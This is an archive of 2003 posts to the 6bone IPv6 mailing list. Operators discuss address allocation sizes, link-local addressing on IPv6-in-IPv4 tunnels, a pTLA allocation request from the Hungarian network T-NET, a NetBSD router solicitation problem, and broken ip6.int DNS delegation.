> our kitchens and bedrooms and living rooms and bathrooms.... 

If we figure out that we've done very bad mistakes in this addressing
scheme, we still have 6 other FPs to try again (remember that allocations
are only done from FP 001, and everything else is reserved [simplified]).

> and I can't
> help but think that there will be an IP shortage somewhere in our solar
> system similar to what asia pacific is currently suffering under v4.
> But ooooh its 128 bits... it'll never run out, especially with properly
> monitored and allocated addressing, right fellas? Oh wait. *grumbles
> something about /48s assigned to children*

IP is not particularily well suited for solar distances anyway.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  57386  (57785)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From gert@Space.Net Mon Nov  3 06:44:08 2003
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Subject: Re: [6bone] Is minimum allocation /64 now?
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Hi,

On Sat, Oct 25, 2003 at 09:14:37AM +0100, Tim Chown wrote:
> Yes I do think every home LAN should get a /48, and a static one.  That
> means the ISP needs a lot more than a /32 though.

FULL ACK.

The current policy takes this already into account - RIPE has recently
allocated their first /31 to a mobile operator.

I'd love to see someone ask for a /20, though, to demonstrate the silliness
of the current ICANN -> RIR allocation granularity.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  57386  (57785)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From Matt.Carpenter@alticor.com Mon Nov  3 12:41:58 2003
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> and I can't
> help but think that there will be an IP shortage somewhere in our solar
> system similar to what asia pacific is currently suffering under v4.
> But ooooh its 128 bits... it'll never run out, especially with properly
> monitored and allocated addressing, right fellas? Oh wait. *grumbles
> something about /48s assigned to children*

Since we want to plan for the solar-system, the galaxy, and beyond...  How
about Google-bit addressing?  That's
100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

bits, and should carry us well into the next millenium, with addresses for
everyone regardless of race, color, gender, planet, vapor state or boiling
point.  Aside from the apparent search-engine copyright on the name, the
only problem is that each participating machine would need an EB of RAM to
house the connection table...

Please forgive the sarchasm.  I understand the concern, but would rather
not focus too much on it at this point in the allocation.  Let's worry
about what matters in the relatively near future, perhaps the next few
years.

Since 128 bits was chosen (we can save the arguments of whether it should
have been 1024 or 2048 for some other time) and this is the production
InternetV6 let's not be too stingy.  Crunch time can come later, perhaps in
some of the remaining 6 FP's.  I believe Gert's explanation was very
pertinent.  It's not all about address-conservation, but rather simplicity
by design.  I personally revel in that a site gets enough addresses to
avoid NAT unless desired, even for a site with a class B IPv4 range...
without paying through the nose or jumping through hoops.  It only aids in
v6 adoption, something that has been relatively slow to take place.

Once IPv6 is pushed out, we can start on V8 if running out of addresses is
a concern.



From todd@shadow.fries.net Fri Nov  7 05:29:53 2003
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Date: Fri, 7 Nov 2003 07:26:08 -0600
From: "Todd T. Fries" <todd@fries.net>
To: Dan Reeder <dan@reeder.name>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] link local for tunnel endpoints
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I use this successfully with my OpenBSD links.  As pointed out to me
several years back by itojun, this is quite fun to setup a v6 tunnel
when the remote tunnel end is running route6d:

- ifconfig gif0 tunnel <local v4 address> <remote v4 address>

- ifconfig fxp0 inet6 <global v6 address>

- route6d

- ping6 www.kame.net ;-)


route6d automatically assigns the link-local address presuming the remote
route6d is advertising via the tunnel.

I admit I haven't tried zebra, and need to really try quagga, but I've been
encouraged to use that as route6d has some rather brainded exit() clauses,
causing headaches for machines .. (my headaches were for a machine with
interfaces that went up and down a lot) ..

And in the end, nothing prevents you from manually assigning the link-local.

Some tunnel providers, he.net for example, require you to assign your tunnel
global v6 IP's, as they ping them to verify you are `still up'.  Other
tunnel providers, freenet6.net for example, are perfectly happy with you
ignoring the tunnel global v6 IP's and simply using link-local.

The real constraint (as explained in other emails) is the requirement that
both ends must have a global v6 address on _some_ interfaces, not necessarily
the tunnel.
-- 
Todd Fries .. todd@fries.net


Free Daemon Consulting, LLC                    VOIP: 1.636.410.0632
http://FreeDaemonConsulting.com                Land: 1.405.810.2918
"..in support of free software solutions."   Mobile: 1.405.203.6124

Key fingerprint: 37E7 D3EB 74D0 8D66 A68D  B866 0326 204E 3F42 004A
            Key: http://todd.fries.net/pgp.txt

Penned by Dan Reeder on Sun, Oct 26, 2003 at 10:49:56PM +1000, we have:
| Hey guys
| in light of the recent spirited discussions regarding ptp subnets, I was
| wondering whether anyone has used or is using the link local addressing for
| the endpoints. (I'm not too sure whether it is still called link local in
| this case, as it is quite different from typical MAC-based addressing)
| 
| here's an example of my tunnel:
| 
| ip tunnel add sixbone mode sit remote 203.149.69.35 local 202.173.147.67
| ip link set sixbone up
| ip tunnel change sixbone ttl 255
| ip link set mtu 1472 dev sixbone
| route add -A inet6 ::/0 gw fe80::cb95:4523 dev sixbone
| 
| fe80::cb95:4523 is just the remote ip converted to hex and set with a link
| local prefix.
| 
| Now because my local router and the remote router also have valid 2001::
| global addressing (on mine for the /64 on another interface, on the remote
| for other purposes), so traceroutes back and forth are going through just
| fine. I realise that every device needs a globally reachable ip set on it
| somewhere, even on a loopback interface, to be reachable.
| But are there any operational down sides or gotchas that would prove this
| type of addressing to be unsafe or impractical for use?
| 
| thanks
| Dan Reeder
| 
| 
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone

From kim@tac.nyc.ny.us Fri Nov  7 07:48:57 2003
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To: 6bone@ISI.EDU
Subject: Re: [6bone] link local for tunnel endpoints
In-Reply-To: <20031107132608.GA30033@fries.net>
 from "Todd T. Fries" on Fri, 07 Nov 2003 07:26:08 -0600
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| From:    "Todd T. Fries" <todd@fries.net>
| Date:    Fri, 07 Nov 2003 07:26:08 -0600
|
| I admit I haven't tried zebra, and need to really try quagga, but I've been
| encouraged to use that as route6d has some rather brainded exit() clauses,
| causing headaches for machines .. (my headaches were for a machine with
| interfaces that went up and down a lot) ..

Link local addresses work ok with zebra bgpd as well as quagga bgpd,
for configuring neighbors.

Regards,
+ Kim


From pekkas@netcore.fi Fri Nov  7 11:31:28 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: "Todd T. Fries" <todd@fries.net>
cc: Dan Reeder <dan@reeder.name>, <6bone@ISI.EDU>
Subject: Re: [6bone] link local for tunnel endpoints
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On Fri, 7 Nov 2003, Todd T. Fries wrote:
> I use this successfully with my OpenBSD links.  As pointed out to me
> several years back by itojun, this is quite fun to setup a v6 tunnel
> when the remote tunnel end is running route6d:
> 
> - ifconfig gif0 tunnel <local v4 address> <remote v4 address>
> 
> - ifconfig fxp0 inet6 <global v6 address>
> 
> - route6d
> 
> - ping6 www.kame.net ;-)
> 
> 
> route6d automatically assigns the link-local address presuming the remote
> route6d is advertising via the tunnel.

No, the link local addresses are already assigned.  The only thing route6d 
does is to basically create a mapping between the default route and the 
link local address of the next-hop router, i.e., discover the link-local 
next-hop address.

Rather silly use of route6d, if you ask me.  Just ask the ISP to configure 
fe80::1 as the address, or find the address of the neighbor otherwise 
(e.g., it can be calculated for v6-over-v4 tunnels by yourself).
 
-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From gert@Space.Net Fri Nov  7 14:22:37 2003
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   6bone@ISI.EDU
Subject: Re: [6bone] link local for tunnel endpoints
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Hi,

On Fri, Nov 07, 2003 at 09:31:08PM +0200, Pekka Savola wrote:
> Rather silly use of route6d, if you ask me.  Just ask the ISP to configure 
> fe80::1 as the address, or find the address of the neighbor otherwise 
> (e.g., it can be calculated for v6-over-v4 tunnels by yourself).

Rather silly altogether.  As the tunnel is a point-to-point link, it's
not really necessary to know the (inner) IPv6 address of the other
end.

Just encapsulate the packets and send 'em to the (outer) IPv4 address
of the other end.

In Cisco speak: "ipv6 route ::/0 tunnel1"

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  57386  (57785)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
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From todd@shadow.fries.net Fri Nov  7 14:53:42 2003
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From: "Todd T. Fries" <todd@fries.net>
To: Jun-ichiro itojun Hagino <itojun@itojun.org>
Cc: pekkas@netcore.fi, dan@reeder.name, 6bone@ISI.EDU
Subject: Re: [6bone] link local for tunnel endpoints
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Penned by Jun-ichiro itojun Hagino on Sat, Nov 08, 2003 at 06:41:41AM +0900, we have:
| > On Fri, 7 Nov 2003, Todd T. Fries wrote:
| > > I use this successfully with my OpenBSD links.  As pointed out to me
| > > several years back by itojun, this is quite fun to setup a v6 tunnel
| > > when the remote tunnel end is running route6d:
| > > 
| > > - ifconfig gif0 tunnel <local v4 address> <remote v4 address>
| > > 
| > > - ifconfig fxp0 inet6 <global v6 address>
| > > 
| > > - route6d
| > > 
| > > - ping6 www.kame.net ;-)
| > > 
| > > 
| > > route6d automatically assigns the link-local address presuming the remote
| > > route6d is advertising via the tunnel.
| > 
| > No, the link local addresses are already assigned.  The only thing route6d 
| > does is to basically create a mapping between the default route and the 
| > link local address of the next-hop router, i.e., discover the link-local 
| > next-hop address.
| 
| 	pekka's description is more correct.

Thanks Pekka and Itojun for clarifying my bad wording.  Yes, Pekka is saying
the meaning I originally intended to convey...
-- 
Todd Fries .. todd@fries.net


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From pekkas@netcore.fi Fri Nov  7 22:40:35 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: Jun-ichiro itojun Hagino <itojun@itojun.org>
cc: todd@fries.net, <dan@reeder.name>, <6bone@ISI.EDU>
Subject: Re: [6bone] link local for tunnel endpoints
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On Sat, 8 Nov 2003, Jun-ichiro itojun Hagino wrote:
> > Rather silly use of route6d, if you ask me.  Just ask the ISP to configure 
> > fe80::1 as the address, or find the address of the neighbor otherwise 
> 
> 	it is not a silly use of route6d (RIPng).  it is a legitimate usage.
> 	global address is not required on p2p links operationally.

Right, you don't need a global address, and it's probably not useful to 
have it in e.g. home customer scenarios.
 
> 	pros and cons of this approach:
> 	+ customer router need not to know the link-local address of the
> 	  upstream router (or upstream router device change)

True, but if the tunnel is point-to-point, it may not be necessary to 
even know that.. (as Gert pointed out)

(For example, in Red Hat Linux (when in Router mode), you only have to do
"IPV6_DEFAULTDEV=sit1"  and you're done.  You'll have to use
IPV6_DEFAULTGW=xxxx" otherwise.  You can use only defaultdev with
point-to-point tunnels.)

> 	+ upstream router can know the liveness of the link easily by looking
> 	  at routing table (with tunnel link, it is hard to know if the tunnel
> 	  path is live or not - no carrier signal like other p2p link)

True; an alternative and a common way to do it is to ping the router at 
some intervals.

> 	- ISPs are still afraid of running dynamic routing daemon on customer
> 	  link (RIPng filtering should be sufficient, but...)

I can certainly appreciate this fear, and I think it's a valid one as 
well.  Sharing a process space with N (N >> 1) customers even with 
filtering is scary.  An implementation problem and you may experience a 
lot of problems..

> > (e.g., it can be calculated for v6-over-v4 tunnels by yourself).
> 
> 	this forum is not for standardization, anyways, i'll keep continue...
> 
> 	only if RFC2893 seciton 3.7 is followed by the upstream router.
> 	RFC1933 does not have any requirement for link-local address.
> 	kame implementation computes link-local address for p2p links by using
> 	RFC2472 4.1.  (i.e. KAME's tunnel interface is RFC1933 implementation)
> 
> 	btw, i do not think RFC2893 section 3.7 is necessary.  either
> 	it is up to implementer, and RFC2472 4.1 is superior (so if we define
> 	some standard way just refer RFC2472 4.1).

Could you please send this to v6ops, so that it can be considered, now 
that transmech is being revised?

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings



From bob@thefinks.com Sun Nov  9 22:19:00 2003
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From: Bob Fink <bob@thefinks.com>
Cc: Karolyi Reka <mithos@t-net.hu>
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Subject: [6bone] pTLA request by T-Net - review closes 23 November 2003
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6bone Folk,

T-NET has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close closes 
23 November 2003. Please send your comments to me or the list.

   <http://www.t-net.hu/>


This may be the last 6bone pTLA allocation made as the phaseout plan 
specifies no new pTLA allocations after the end of this year. Thus if 
anyone is expecting to request a pTLA, the request must be sent to me no 
later than 5 December to allow enough review and approval time prior to 31 
December.


Thanks,

Bob

===
>Date: Thu, 6 Nov 2003 10:39:39 +0100 (CET)
>From: Karolyi Reka <mithos@t-net.hu>
>To: bob@thefinks.com
>cc: vagok@t-net.hu, smithis@t-net.hu
>
>Hi Bob,
>
>I'd like to request a pTLA for T-NET, please find relevant info below.
>
>Sincerely,
>
>Reka Karolyi
>
>-------------------------------------------------------------------------
>7. Guidelines for 6Bone pTLA sites
>
>     The following rules apply to qualify for a 6Bone pTLA allocation. It
>     should be recognized that holders of 6Bone pTLA allocations are
>     expected to provide production quality backbone network services for
>     the 6Bone.
>
>     1. The pTLA Applicant must have a minimum of three (3) months
>        qualifying experience as a 6Bone end-site or pNLA transit. During
>        the entire qualifying period the Applicant must be operationally
>        providing the following:
>
>T-NET is in 6bone since March of 2001
>
>
>        a. Fully maintained, up to date, 6Bone Registry entries for their
>           ipv6-site inet6num, mntner, and person objects, including each
>           tunnel that the Applicant has.
>
>
>ipv6-site:    T-NET
>origin:       AS29657
>descr:        T-NET IPv6 Network
>               Budapest, Hungary
>country:      HU
>prefix:       3FFE:2C03::/32
>application:  ping 6bone-gw-1.t-net.hu
>application:  ping 6bone-gw-2.t-net.hu
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> 6bone.uni-muenster.de 
>JOIN BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> cern-atm7.cern.ch CERN BGP4+
>tunnel:       IPv6 in IPv6 6bone-gw-1.t-net.hu -> 6bone-gw1.edisontel.it 
>EDISONTEL BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> rap.viagenie.qc.ca 
>VIAGENIE BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-2.t-net.hu -> 6bone-gw3.cselt.it CSELT 
>BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-2.t-net.hu -> rtr1.ipv6.he.net 
>HURRICANE BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> 6bone-gw.pantel.t-net.hu 
>T-NET BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> puffi.pszfb.hu PSZFB-NET 
>STATIC
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> 
>nl-ams-re-02.ipv6.chello.net CHELLO BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> nofear.wbteam.com RIEB 
>STATIC
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> 6bone-gw-1.6b0ne.hu 
>6B0NE BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> 6bone-gw-2.6b0ne.hu 
>6B0NE BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> bitchx.wigner.bme.hu 
>TEMA BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> nexcom.asterix.hu NEXCOM 
>RIPng
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> hubud-08-00.pop.xs26.net 
>XS26 BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> ircnet.hu GTNET BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> homnyp.hu KV1-6BONE BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> arrakis.dune.hu DUNE STATIC
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> 
>lon2a.core.rtr.caladan.net.uk CALADAN BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> router-2.ipv6.kewlio.net 
>KEWLIO BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> 
>linux.obgyn.szote.u-szeged.hu GTNET2 STATIC
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> 6gw.bnet.hu BNET BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> 
>sl-bb1v6-bru.sprintlink.net SPRINT BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-2.t-net.hu -> 6bone-gw-1.6b0ne.hu 
>6B0NE BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-2.t-net.hu -> 6bone-gw-2.6b0ne.hu 
>6B0NE BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-2.t-net.hu -> ircnet.hu GTNET BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-2.t-net.hu -> bitchx.wigner.bme.hu 
>TEMA BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-2.t-net.hu -> homnyp KV1-6BONE BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> goodman.hu GOODMAN BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-2.t-net.hu -> 
>no-osl-re-01-fe-0-0.ipv6.aorta.net CHELLO BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-2.t-net.hu -> 
>catv-c3b8b0df.szolcatv.broadband.hu PR STATIC
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> gyurc.movinet.hu GHNET 
>STATIC
>tunnel:       IPv6 in IPv4 6bone-gw-2.t-net.hu -> gateway.pmmf.hu PMMF RIPng
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> perverz.hu VUDUNET BGP4+
>tunnel:       IPv6 in IPv4 6bone-gw-2.t-net.hu -> janos.szivarvanynet.hu 
>QTGAME STATIC
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> 
>pa8.sulechow.sdi.tpnet.pl CRASHER STATIC
>tunnel:       IPv6 in IPv4 6bone-gw-1.t-net.hu -> tom.tdc.hu AS STATIC
>tunnel:       IPv6 in IPv4 6bone-gw-2.t-net.hu -> 6gw.bnet.hu BNET BGP4+
>contact:      TNET1-6BONE
>contact:      VAGO1-6BONE
>contact:      SS9-6BONE
>contact:      RK5-6BONE
>remarks:      FreeBSD router running Zebra routing daemon
>remarks:      ipv6-site is operational
>mnt-by:       MNT-TNET
>changed:      vagok@t-net.hu 20021021
>changed:      hostmaster@t-net.hu 20030122
>changed:      hostmaster@t-net.hu 20030404
>changed:      hostmaster@t-net.hu 20031104
>source:       6BONE
>
>
>
>        b. Fully maintained, and reliable, BGP4+ peering and connectivity
>           between the Applicant's boundary router and the appropriate
>           connection point into the 6Bone. This router must be IPv6
>           pingable. This criteria is judged by members of the 6Bone
>           Operations Group at the time of the Applicant's pTLA request.
>
>We have BGP connection with UK6X JOIN TILAB HURRICANE KEWLIO EDISONTEL 
>VIAGENIE ...
>
>Our routers (6bone-gw-1.t-net.hu and 6bone-gw-2.t-net.hu) are IPv6 pingable.
>
>        c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>           entries for the Applicant's router(s) and at least one host
>           system.
>
>
>host -t aaaa 6bone-gw-1.t-net.hu
>  6bone-gw-1.t-net.hu IPv6 address 3ffe:2c03:10:0:280:c8ff:fe58:2b0c
>
>host -t aaaa 6bone-gw-2.t-net.hu
>  6bone-gw-2.t-net.hu IPv6 address 3ffe:2c03:20:0:a00:36ff:fe64:6903
>
>primary DNS server ns1.t-net.hu (zeus.mad.hu)
>secondary DNS server ns2.t-net.hu (kiralyco.enternet.hu)
>
>        d. A fully maintained, and reliable, IPv6-accessible system
>           providing, at a mimimum, one or more web pages, describing the
>           Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>We have IPv6 www (www.t-net.hu) ftp, telnet, and pop3 services.
>
>     2. The pTLA Applicant MUST have the ability and intent to provide
>        "production-quality" 6Bone backbone service. Applicants must
>        provide a statement and information in support of this claim.
>        This MUST include the following:
>
>        a. A support staff of two persons minimum, three preferable, with
>           person attributes registered for each in the ipv6-site object
>           for the pTLA applicant.
>
>         contact:   RK5-6BONE
>          contact:   VAGO1-6BONE
>         contact:   SS9-6BONE
>
>        b. A common mailbox for support contact purposes that all support
>           staff have acess to, pointed to with a notify attribute in the
>           ipv6-site object for the pTLA Applicant.
>
>
>person:       T-NET IPv6 Project Operative Team
>address:      Kunigunda u. 35.
>address:      H-1037 Budapest
>address:      Hungary
>phone:        +36 20 5569359
>phone:        +36 20 3140665
>phone:        +36 30 2035789
>fax-no:       +36 20 5574899
>e-mail:       ipv6-noc@t-net.hu
>nic-hdl:      TNET1-6BONE
>mnt-by:       MNT-TNET
>changed:      hostmaster@t-net.hu 20031104
>source:       6BONE
>
>
>     3. The pTLA Applicant MUST have a potential "user community" that
>        would be served by its becoming a pTLA, e.g., the Applicant is a
>        major provider of Internet service in a region, country, or focus
>        of interest. Applicant must provide a statement and information in
>        support this claim.
>
>We have a working development IPv6 infrastructure using prefix 3ffe:2c03::/32.
>This is including Marton Aron Dormitory (Budapest, Hungary), College of 
>Finance
>and Accountancy (Budapest, Hungary), Zipernowsky Karoly Technical Secondary
>School (Pecs, Hungary), PMMFK-PTE (Pecs University, Hungary), SysNet Ltd
>  (ISP, Budapest, Hungary),  Hamex Co. (Tele Communication Corporation, 
> Budapest , Hungary).
>
>Our goals testing various IPv6 implementations using various network 
>equipments.
>
>
>     4. The pTLA Applicant MUST commit to abide by the current 6Bone
>        operational rules and policies as they exist at time of its
>        application, and agree to abide by future 6Bone backbone
>        operational rules and policies as they evolve by consensus of the
>        6Bone backbone and user community.
>
>We agree with any current and any future 6Bone operational rules and
>policies.
>
>      8. 6Bone Operations Group
>
>        The 6Bone Operations Group is the group in charge of monitoring and
>        policing adherence to the current rules. Membership in the 6Bone
>        Operations Group is mandatory for, and restricted to, sites connected
>        to the 6Bone.
>
>        The 6Bone Operations Group is currently defined by those members of
>        the existing 6Bone mailing list who represent sites participating in
>        the 6Bone. Therefore it is incumbent on relevant site contacts to
>        join the 6Bone mailing list. Instructions on how to join the list are
>        maintained on the 6Bone web site at < http://www.6bone.net>.
>
>We have joined the mailinglist.
>
>-------------------------------------------------------------------------------


From john@lain.ziaspace.com Mon Nov 10 23:58:45 2003
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Date: Tue, 11 Nov 2003 02:56:53 -0500 (EST)
From: John Klos <john@sixgirls.org>
To: 6BONE List <6bone@mailman.isi.edu>
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Subject: [6bone] Router solicitation strangeness?
Sender: 6bone-admin@mailman.isi.edu
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Hello,

I was wondering if anyone might have any helpful clues for me. I'm trying
to figure out why a simple NetBSD 1.6.2 host doesn't get an IP from a
router solicitation. Other NetBSD hosts on the same network do, and so do
Mac OS X machines, but something's not right.

The IPv6 router is also running NetBSD 1.6.2 (rc1), and the only strange
thing I can think of is that the MAC address of the ethernet card in the
machine which doesn't work is a little different than most
(ae:55:53:00:11:d9).

I'm also having an issue with creating a working rtadvd.conf for subnets,
but that's another story - perhaps someone can help me with that offline.

I did a tcpdump, which is shown below; does anyone have any suggestions on
what else I should try or do?

Thanks,
John Klos
Sixgirls Computing Labs


Here is a Mac OS X machine doing a successful router solicitation:

00:49:14.769039 fe80::205:2ff:fe6b:9639 > ff02::1:ff6b:9639: HBH icmp6:
multicast listener report max resp delay: 0 addr: ff02::1:ff6b:9639 [hlim 1]
00:49:14.829482 :: > ff02::1:ff6b:9639: icmp6: neighbor sol: who has fe80::205:2ff:fe6b:9639
00:49:15.926487 fe80::205:2ff:fe6b:9639 > ff02::2: icmp6: router solicitation
00:49:16.165632 fe80::260:94ff:fea3:c69b > ff02::1: icmp6: router advertisement
00:49:16.166449 :: > ff02::1:ff6b:9639: icmp6: neighbor sol: who has 2001:470:1f00:2600:205:2ff:fe6b:9639
00:49:16.433971 fe80::205:2ff:fe6b:9639.49620 > ff02::fb.5353: udp 90 [hlim 1]
00:49:16.434286 fe80::205:2ff:fe6b:9639.49620 > ff02::fb.5353: udp 90 [hlim 1]
00:49:16.636486 fe80::205:2ff:fe6b:9639.49620 > ff02::fb.5353: udp 90 [hlim 1]
00:49:16.636754 fe80::205:2ff:fe6b:9639.49620 > ff02::fb.5353: udp 90 [hlim 1]
00:49:16.839020 fe80::205:2ff:fe6b:9639.49620 > ff02::fb.5353: udp 90 [hlim 1]
00:49:16.839321 fe80::205:2ff:fe6b:9639.49620 > ff02::fb.5353: udp 90 [hlim 1]
00:49:17.053159 fe80::205:2ff:fe6b:9639.49620 > ff02::fb.5353: udp 90 [hlim 1]
00:49:17.053426 fe80::205:2ff:fe6b:9639.49620 > ff02::fb.5353: udp 90 [hlim 1]


And here is what I see when the Amiga tries to do a router solicitation:

00:49:21.487391 fe80::205:2ff:fe6b:9639 > ff02::1:ff6b:9639: HBH icmp6:
multicast listener report max resp delay: 0 addr: ff02::1:ff6b:9639 [hlim 1]
00:49:31.051218 fe80::ac55:53ff:fe00:11d9 > ff02::2: icmp6: router solicitation
00:49:31.475435 fe80::260:94ff:fea3:c69b > ff02::1: icmp6: router advertisement
00:49:35.071187 fe80::ac55:53ff:fe00:11d9 > ff02::2: icmp6: router solicitation
00:49:35.235467 fe80::260:94ff:fea3:c69b > ff02::1: icmp6: router advertisement
00:49:39.091204 fe80::ac55:53ff:fe00:11d9 > ff02::2: icmp6: router solicitation
00:49:39.225426 fe80::260:94ff:fea3:c69b > ff02::1: icmp6: router advertisement

From jeroen@unfix.org Tue Nov 11 07:25:48 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'John Klos'" <john@sixgirls.org>, "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] Router solicitation strangeness?
Date: Tue, 11 Nov 2003 16:25:43 +0100
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-----BEGIN PGP SIGNED MESSAGE-----

John Klos wrote:

<SNIP>
> The IPv6 router is also running NetBSD 1.6.2 (rc1), and the 
> only strange thing I can think of is that the MAC address of the ethernet 
> card in the machine which doesn't work is a little different than most
> (ae:55:53:00:11:d9).

Some NIC's have multicast problems, you could try to put it in promisc + multicast,
which usually helps, another way of doing it is adding a permanent entry in
the neighbour cache on the router, which is the trick I abuse when testing
things in vmware.

> I'm also having an issue with creating a working rtadvd.conf 
> for subnets, but that's another story - perhaps someone can help me with 
> that offline.

Explain the problem on the list, list-traffic is at it's all-time low anyways.

<SNIP>

> And here is what I see when the Amiga tries to do a router 
> solicitation:

Did you use any of the flaky network cards for it?
I think those drivers don't support multicast for instance.

Btw.. neat which brings me to the evil idea of maybe booting
my Amiga into NetBSD... hmmm :)
But first.... tinc support in the SixXS heartbeat clients...

Greets,
 Jeroen

-----BEGIN PGP SIGNATURE-----
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Comment: Jeroen Massar / jeroen@unfix.org / http://unfix.org/~jeroen/

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From jeroen@unfix.org Tue Nov 11 11:38:42 2003
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To: <6bone@ISI.EDU>
Date: Tue, 11 Nov 2003 20:38:17 +0100
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Subject: [6bone] munnari.oz.au & y.ip6.int broken for e.f.f.3.ip6.int / when ip6.arpa?
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-----BEGIN PGP SIGNED MESSAGE-----

Hi,

munnari.oz.au and y.ip6.int are broken for e.f.f.3.ip6.int

Can this be fixed soon(tm) along with the delegation of ip6.arpa ofcourse.

Greets,
 Jeroen

- --

$ dig @y.ip6.int. 1.1.8.e.f.f.3.ip6.int ns

; <<>> DiG 9.2.3rc4 <<>> @y.ip6.int. 1.1.8.e.f.f.3.ip6.int ns
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 41427
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;1.1.8.e.f.f.3.ip6.int.         IN      NS

;; Query time: 312 msec
;; SERVER: 3ffe:50e::1#53(y.ip6.int.)
;; WHEN: Tue Nov 11 20:35:24 2003
;; MSG SIZE  rcvd: 39

$ dig @munnari.oz.au. 1.1.8.e.f.f.3.ip6.int ns

; <<>> DiG 9.2.3rc4 <<>> @munnari.oz.au. 1.1.8.e.f.f.3.ip6.int ns
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 64635
;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;1.1.8.e.f.f.3.ip6.int.         IN      NS

;; Query time: 633 msec
;; SERVER: 2001:388:c02:4000::1:21#53(munnari.oz.au.)
;; WHEN: Tue Nov 11 20:35:04 2003
;; MSG SIZE  rcvd: 39

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From ggm@apnic.net Tue Nov 11 12:09:44 2003
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Cc: <6bone@ISI.EDU>
Subject: Re: [6bone] munnari.oz.au & y.ip6.int broken for e.f.f.3.ip6.int /
 when ip6.arpa?
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On Tue, 11 Nov 2003 20:38:17 +0100 "Jeroen Massar" <jeroen@unfix.org> wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Hi,
> 
> munnari.oz.au and y.ip6.int are broken for e.f.f.3.ip6.int
> 
> Can this be fixed soon(tm) along with the delegation of ip6.arpa ofcourse.

the problem is getting the .arpa zone manager to fix things. its stalled in
layer 9 politics, not willingness of the technical parties to have non-lame
delegation state.

I will endevour to follow up outside of this ML what the status is, and help to
rectify it.

(APNIC knows that for some of its ip6.arpa delegation state, its not good)

cheers
	-George

> 
> Greets,
>  Jeroen
> 
> - --
> 
> $ dig @y.ip6.int. 1.1.8.e.f.f.3.ip6.int ns
> 
> ; <<>> DiG 9.2.3rc4 <<>> @y.ip6.int. 1.1.8.e.f.f.3.ip6.int ns
> ;; global options:  printcmd
> ;; Got answer:
> ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 41427
> ;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
> 
> ;; QUESTION SECTION:
> ;1.1.8.e.f.f.3.ip6.int.         IN      NS
> 
> ;; Query time: 312 msec
